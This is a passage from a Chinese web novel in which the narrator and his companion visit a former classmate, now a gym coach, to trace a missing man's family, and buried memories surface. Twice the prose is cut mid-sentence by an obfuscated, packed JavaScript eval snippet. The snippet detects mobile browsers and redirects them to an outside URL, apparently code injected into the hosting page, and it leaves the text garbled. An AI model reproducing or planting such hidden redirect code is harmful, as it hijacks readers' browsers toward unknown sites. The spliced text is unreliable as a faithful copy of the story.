她的手指还在不停地戳屏幕上冒出来的彩色方块,她没看我:“证在包里,你自己看。” 我摸到她放在腿上的小皮包,包里是我刚刚看见的卡片。我拿起来,那果然不是身份证,卡片上写着一行字——“港澳居民居住证”——我翻到证件正面,上面是她的照片,头发染成了黑色。姓名一栏写着三个字,“钟楚珩”,听起来像九十年代哪个港城影星的名字。我很无聊地在看她的居住证号码,我问她:“你是港城人啊?” “嗯。” “钟楚珩……”我小声念她的名字,某个人的形象忽然浮现,“诶,那钟灵阿姨是你亲戚吗?” “她是我表姑妈,嗯,不算特别近的亲戚,我们家人比较多。”她分裂意识的能力强得很突出,和我聊天的时候她还在激烈地戳着屏幕上的小方块,“我长得是不是和她有点像?” 不说不觉得,一说确实是有点。她玩得入迷,我翻来覆去看她的证件照,她还是绿头发好看,照片里的她头发染成黑色,表情难得的板正,看起来像我们学校开学仪容仪表检查的女生短发标准发型示例,前不过眉侧不过耳后不及肩的。 我在车上玩手机会晕车,珩玩得很开心,我只能看着她发呆。车程长得过分,我睡了又醒醒了又睡,还是没到。百无聊赖之下,我只好胡思乱想。我想起钟灵阿姨,她今年六十多岁了吧?我想起她的细眉毛和卷头发,等珩到了那个岁数,可能也长那样。到时我长什么样?不知道我会不会变成六叔那个样子,秃头大肚子,那可就完蛋了。珩看起来是那种至死还是少女,无论多少岁都喜欢二十岁帅哥的人,我要真变那样,她肯定要嫌弃我。 下午一点,我们终于抵达N市。 我和珩点了个外卖,匆忙在酒店房间里吃过饭之后,她就开始化妆。她从我的行李箱里拿出她自己的旅行包,从里面抽出一件黑色的吊带短上衣,又抽出一条毛边牛仔短裤。她又在箱子里捞出一堆乱七八糟的东西,之后就钻到浴室里,砰地把门关上。她化妆的速度快得惊人,我才刚把外卖盒子收拾完,她就出来了。我差点要认不得她——她给我的感觉很像那种很小就到国外去生活,前卫又张扬,穿着很大胆,性格很直接的年轻女孩。她穿紧身衣服的时候看着更瘦了,锁骨上的项链显得有点粗,她手上戴着木头珠子和金属混编的手链,手链很长,在她纤细的手腕上绕了好几圈。她还戴了一对耳环,没有花纹的金属大圈,衬得脸更小,下巴有点尖,像那种有点尖刻的长相。她甚至没怎么动脸上的妆容,只是描了描原本细长得有点像古画仕女像的眉毛,但整体上一看,就似乎换了个人。 我低头看看自己,我还是T恤休闲长裤运动鞋,我跟她好像在两个维度,我问她:“我要配合你换个衣服吗?抓抓头发?” “不用,”她说,“你记得我跟你说的策略吗?” “呃,我除了身份是假的,其他都说真话?” “可以。”她拧开矿泉水瓶,喝了一口,“我们出发吧。” 陈瑶瑶工作的SUPERFIT健身房就在我们住的酒店附近,我和珩步行过去。 十五分钟之后,我们到达健身房前台。 前台穿着印着“SUPERFIT”字样运动服的年轻女生喊住我们:“您好,二位是第一次来吗?我联系一下巡场教练带二位看看?” 健身教练们的照片和简介就挂在前台正对着的墙面上,陈瑶瑶的照片就挂在进门的位置,她的名字底下一堆头衔——几几年N市女子铅球冠军,几几年全国锦标赛女子铅球季军——我转向前台的女生:“请问陈瑶瑶教练在吗?” 前台女生礼貌地对我们笑笑,说:“您这边和瑶瑶教练约好了是吗?稍等,我呼叫一下她。”之后她按通对讲机,她的声音在入口闸机那边的音响被放大:“陈瑶瑶教练,陈瑶瑶教练,请到前台,预约客户在等。” 我有点紧张地看着旁边的闸机。我对照片里的陈瑶瑶一点印象都没有,她比我记忆里要瘦一些,眼神很自信,不太像是记忆里前桌那个不怎么回头看的女孩了——不知道她还会不会认得我。 来之前我和珩商量过,因为我不太了解少年时候的李枫杨(我打死不信这家伙以前就跟那个守候我记忆的初中生一样,那初中生可太八卦了,一点都不沉稳),而且我也不知道该怎么面对一个可能暗恋过我,但我一点记不起来的人。最后我和珩捏造了一个故事,故事里的我是李枫杨的表弟,很早就出国留学去了,因为最近我的爷爷,也就是李枫杨的外公去世,我和我的妻子回国来找他们家的人,商讨后续葬礼安排和财产分配的事。 我一直假装轻松地在看墙上的教练介绍,注意力却始终落在闸机后面的走廊上。一阵脚步声从楼梯上渐渐靠近,我抬头看,走廊上是一个穿着运动背心和瑜伽裤,扎着高马尾的年轻女人。她的反应比我大多了。在我抬头的那一瞬间,在她能看清楚我脸的那一瞬间,她的脚步就猛地刹住。 短暂的停步之后,她又向我们走来,她的脚步不由自主加快了不少,她走出闸机,在我们面前立住,目光在珩的身上停留一瞬,之后就看着我。我真不认得她,她的变化可太大了,我记忆里的她因为相貌一般,总有点畏畏缩缩,不敢看人的样子,现在的她站得笔挺,目光也很自然地落在我脸上,只在我也看她眼睛时,她眼里才现出一些和少年时相似的躲闪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16626715|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她很有些难以置信地看我,看了好几秒,她才开口问:“你是……” “我不是李枫杨,我是他表弟。”我回答,“我们两个长得有点像,是吗?” 陈瑶瑶带我们在前台旁边的接待区坐下,我和珩坐在一边,陈瑶瑶坐在我们对面。前台女生给我们拿来几杯柠檬水,陈瑶瑶自己先呷一口水,听说我不是李枫杨之后,她的神态变得平静很多,似乎我们是约好来问健身卡价格的客户,经理偶然在后面经过,看了一眼我们几个,之后就走开了。 我和陈瑶瑶大概说了一下我们临时编的背景故事:李枫杨是我的表哥,但后来因为做生意的事,我的爸爸,也就是李枫杨的舅舅,和我的姑妈,也就是李枫杨的妈妈,彻底地吵了一架,之后两家再不来往。后来我出国读书,毕业后在国外工作,再后来我家里人跟着移民,我们小家庭三个人,连上我的爷爷奶奶,都在国外定居。最近我的爷爷去世,遗嘱里写着有一部分财产留给女儿和外孙。一方面我们因为这个遗产的事情需要联系他们,另一方面我的爸爸,也就是李枫杨的舅舅,已经五六十岁。时间过得有够久,当年的恩怨总也该放下,出于想要弥补一下过去亲情的缘故,我们希望可以联系到李枫杨他们一家。 “事情就是这样,但因为我们移民都有十几年了,大家电话都换了,怎么都联系不上他们家的人。”我说,“前两天我们回S市,在我爷爷的旧房子里找到了一些我表哥的东西,其中有一本同学录,上面留着你的□□号,所以我们就找到了这里。” 陈瑶瑶礼貌得有点生疏的微笑,在我提到同学录的时候,分明卡顿了一下。她记得。过去那个我留下的每一件东西都必有其缘由,他很有先见之明,选择了一个时隔十年依然很记得他的人。 一直沉默的珩这时候开口了,她稍稍前倾身子,露出一个爽朗的笑容,补充道:“当时我们搜到了你的微信,想着加你微信,结果一看,正好你在N市,离得也近,我们干脆就坐高铁过来了。因为签证时间有限,我们也比较着急,可能有点唐突,就这么一声不吭地来了。”她笑得眉眼弯弯,简直是个外向又热情的少女模样,“如果打扰到你,实在是不好意思。” 虽然我长着一张和李枫杨一样的脸,但陈瑶瑶对女孩子的戒心还是要小一些。听到珩这么说,她的眼神稍稍松懈一些,她想了想,有些不好意思地弯了弯嘴角,说:“我确实认识李枫杨,他是我高中同学,就坐我后桌。但是……但是我跟他也不是很熟,毕业之后,我们就没有联系过了。你们要找他,我可能帮不上什么忙,不好意思。” 我过去的记忆很多,但李枫杨把这些记忆都压成几条关键信息,找不到触发下一级联想的点,我的回溯就无法继续。我们来这里本来就只是找她聊天,希望能从她这个老同学的描述里找回一点线索。看她似乎不愿回忆,匆匆忙忙地就把话头撂下,我心里着急,但我向来不是个能勉强别人的人,正在我束手无策之时,隔壁珩热情的笑容忽然收敛下来。 “但他……是不是跟所有同学都不是很熟?” 70. 父亲 “但他……是不是跟所有同学都不是很熟?” 珩没说错,陈瑶瑶犹豫了一下,轻轻地点了点头。 珩看着她,她眼神好诚恳,但表情好严肃,好像可怜巴巴,又有些让人难以拒绝的威严感。 “是这样的,其实我们直接来这里,不仅仅是因为事情比较急。”她似乎下了一些决心才说出这番话,“主要是我们真没办法了。他一开始说要加你微信说,说不想打扰你——”她看我一眼,陈瑶瑶没怀疑,我看起来确实是这样的人,“但我觉得不行。你要是觉得我们是骗子,不搭理我们,那就完了。因为你现在是我们仅剩的唯一一条线了,我们把上海那房子都翻遍了,就翻到那一本同学录。” “是的,我表哥他们一家留下的,就那一本同学录,”我顺着她的话往下说,我没说谎,这是真话,“里面就只有你这一页。丢了你这条线索,我们就很难找到他们了。” “你是说……就只有我留下了一页同学录吗?”陈瑶瑶的表情霎时变了,刚刚还很平静的她,在听到我说“只有你这一页”的时候,眼神忽而松动了。她这松动近乎决堤,很短的时间里,可能一分钟?可能还没有一分钟,她的眼睛红了。她意识到自己有些失态,假装看外面,目光空洞地在桌子隔壁落地玻璃外面的路面上停留几秒,稍稍冷静下来之后,她把目光转回到我们身上。 珩非常直接地在这个时机追问:“你对他是不是挺重要的?或者说,你对他来说很特别?” 陈瑶瑶不说话,只是眼睛更红了。 珩又往前凑了凑,她离她很近,她压低声音,悄悄问道:“你和他……在一起过?” 这下陈瑶瑶倒是非常坚定地摇了摇头。她又往外面看,外面什么都没有,她的回忆似乎在涌动,时间缓慢地倒流,填满她空洞的眼神,她的眼里升起些许笑意,好像是想起了一些遥远的,浪漫的或是富有力量的瞬间。她看向我——她不可能会怀疑我是李枫杨本人,毕竟我和他的性格非常不相似,我们至少从外面看来是两个人——但我感觉到了些许怀念,这是一些正向的怀念,至少我那时候没有伤害过她,在她和我对上目光的刹那,我很确认这一点。 “我和他没谈过,不过我确实是暗恋过他,还跟他表白过,但他拒绝我了。”她的态度明显放松了下来,脸上的笑容不再那么疏离,“我没想到他会留着我的同学录。其实那时候,我都没想到他会让我写同学录。你应该知道他的性格吧——”她看向我。 我点点头。那可真是太知道了。那家伙现在就在我的胸腔里,不知道的话我还能现在马上问问他。 “他是很内向很安静的人,那时候快毕业了,大家都在互相发同学录,就我和他没发。那时候班里的女孩子搞小团体,她们不喜欢我,我是田径队的,总是训练,身上有汗味。她们说我臭,不跟我玩。我长得也不好看,成绩又一般,男生就更不会来找我玩,所以我没什么朋友。” 她说起这些事情的时候,眼里居然是有笑意的,少年时被孤立和排挤的记忆现在都变成一些无关紧要的过去。“后来他居然去买了个同学录,他肯定是新买的,我看到他在教室后面的杂物间拆包装袋。”她眼里笑意更深,俨然已经沉浸在十年前的回忆里,“那天是五月七号,星期六,我记得很清楚。那时候高三,周六都在测验,最后一科考完,准备放学的时候他在后面叫我,然后他把整个本子都递给我,他说请我填个同学录,让我挑一页,周末回去填。” 是他。这是他会做出来的事。陈瑶瑶成绩不好,他特意挑的星期六,因为怕她上课不专心,所以他特意挑在休息日前一天下午,才把本子给她。但这些小心思他当然不会说出口,而陈瑶瑶也没有发现。她说到这里的时候,不禁笑了:“哎我哪顾得上挑,我手都在抖,我没想到他会让我填,本子是新的,我是第一页呢。我就随便拿了一页,然后赶紧收起来走了。” 珩的表情很放松,她适时地变成一个聊八卦的小姐妹,还戏谑地来了一句:“然后你就写了……一句话?我没仔细看,你写的什么,好像是常联系之类的?” “我不敢写啊,我回去想了一晚上,最后就写了点套话。”她有些羞赧地笑笑,“学校查早恋查得很严,就很变态的那种严,暗恋都会被抓去谈话——” 珩没有在假装感兴趣,她是真聊起来了,她那神情简直有点像是年轻版的张雨铃阿姨:“啊?暗恋也管啊,你们老师还会读心吗?” 陈瑶瑶笑起来:“怎么可能,就……就十几岁的人真比较笨,喜欢都藏不住的,很明显。” “那你被抓了?”珩好奇得眼睛要发光,“你们老师怎么看出来的?” 讲起以前的蠢事,陈瑶瑶似乎有些怀念,她喝了一口水,回答道:“唉,我跟他表白了。说起来真是有点丢人,我给他写情书,班里不是有一些女生讨厌我吗,她们发现了,就去告状。我也不知道为什么,明明是我单方面给他写信,最后把我和他的家长都叫来了。就他成绩挺好的,从来没被叫过家长,那是头一次。我都觉得他要跟我决裂了,结果他后来还给我同学录,毕业之后他还送了个礼物给我呢——” 我黑色的脑海中忽然亮起一朵火花。记忆里的我从抽屉里拿出课本,书很明显拱起一块。我翻开书,一个橙色硬卡纸做的信封夹在书里面。啊这是枫叶的颜色吗?要不要告诉她其实我的名字是一棵树不是两棵树……算了。那时候是午休,大家都趴在桌上睡觉,我把盖在身上的校服外套扯了扯,使它左边短右边长,这样左边窗口的光可以照进来,而右手边的同桌看不到我在做什么。我打开信封,抽出里面的信纸,信纸印着橙红色的枫叶和金黄色的银杏叶,少女一笔一笔誊的字迹,青涩地诉说着喜欢……我看了两行就被烫到了,这样直接热烈的情感。我把信纸叠好,塞回信封里,犹豫了一会儿,我把它塞到了书包里,压在书的最下面。 后来有人翻我书包。虽然我在班里什么都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16639517|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不说,和谁都不熟,但我很清楚班里的人际关系网。有几个女生不喜欢陈瑶瑶,其他女生因为怕被她们孤立,也不太跟陈瑶瑶玩。其中一个女生发现了陈瑶瑶给我写情书的事,这事很快传遍了全班,她们正等着看热闹,想着我会当面拒绝她,甚至去告状,结果我把信收起来了。她们没等到后续,耐不住好奇,趁我不在教室里,翻了我的抽屉,又翻了我的书包,最后在我的书包底下发现我藏好的情书。她们一气之下,干脆把我也举报了。记忆播放到我和陈瑶瑶被拉去年级组组长办公室谈话的画面——阵仗真大啊,高三学生谈恋爱,班主任还不够格,得闹到年级组组长那里去。陈瑶瑶的妈妈看起来很生气,陈瑶瑶一直低着头,我旁边站着的……是我爸爸。是我的新爸爸。他的侧影在画面里一闪而过,好多潜藏的记忆随着他的出现而苏生——那是一个中等身材的男人,平均身高,平均体型,平均长相,放在人群里一点也不起眼,但他有些天然的威严,目光锐利,像一把不出鞘的刀。 他叫什么名字……他叫什么名字?关于他的记忆一定十分重要,甚至可能是机密,好多记忆在挣扎,我的头开始刺痛,千万个人在撬锁——几乎有点让我想起我第一次回到记忆核心的那天,他和笔记本上的“世界很大”一样,是我过去的一个重要锚点。我怎么都想不起他的名字,倒是另一个人的名字涌上脑海。葛玉。葛玉。这是我妈妈的名字,她叫葛玉。 我们走之前,陈瑶瑶给我们看了当年李枫杨给她送的毕业礼物。她打开自己的Q|Q空间,翻到2016年6月的说说,那时候还不很清晰的手机相机,留下好几张不同角度的礼物照片——一个深蓝色的硬纸盒,里面是一支银色的钢笔。礼物并不贵重,但陈瑶瑶很珍惜它,她还给他写的卡片来了个特写。一张印着钢笔品牌logo的小卡片,上面写着“毕业快乐,未来可期”,落款李枫杨,2016年6月9日。字写得很认真,比日记本抄的诗和三文鱼要工整,几乎和“世界很大”可以一较高下。 最后陈瑶瑶送我们到健身房所在的大厦门口。我向她道谢,她笑笑,说不客气,其实也没帮到我们什么。我们和她挥手道别,没走出几步,她忽然在后面把我们叫住。 “等等!”她喊。 我和珩马上停步,转身往回走。 “李枫杨我确实没联系过,但是我好像碰见过他妈妈。”她说,“不过已经是两年前的事情了,那时候我在钟山区养老院门口看见她,她没说去探望谁,我也没好意思问,她认出我了,我就跟她打了个招呼。” “钟山区养老院……”珩喃喃重复道,之后她问我,“不会是你姑丈吧?你姑丈多大?” “他挺年轻的,可能六十岁左右?” “我们去看看吧,说不定呢。”珩说,之后她好像想起什么,又问我,“你姑丈叫什么名字来着?李……李志强?” 我还没来得及回复,旁边陈瑶瑶就脱口而出:“不是,李鸿辉。”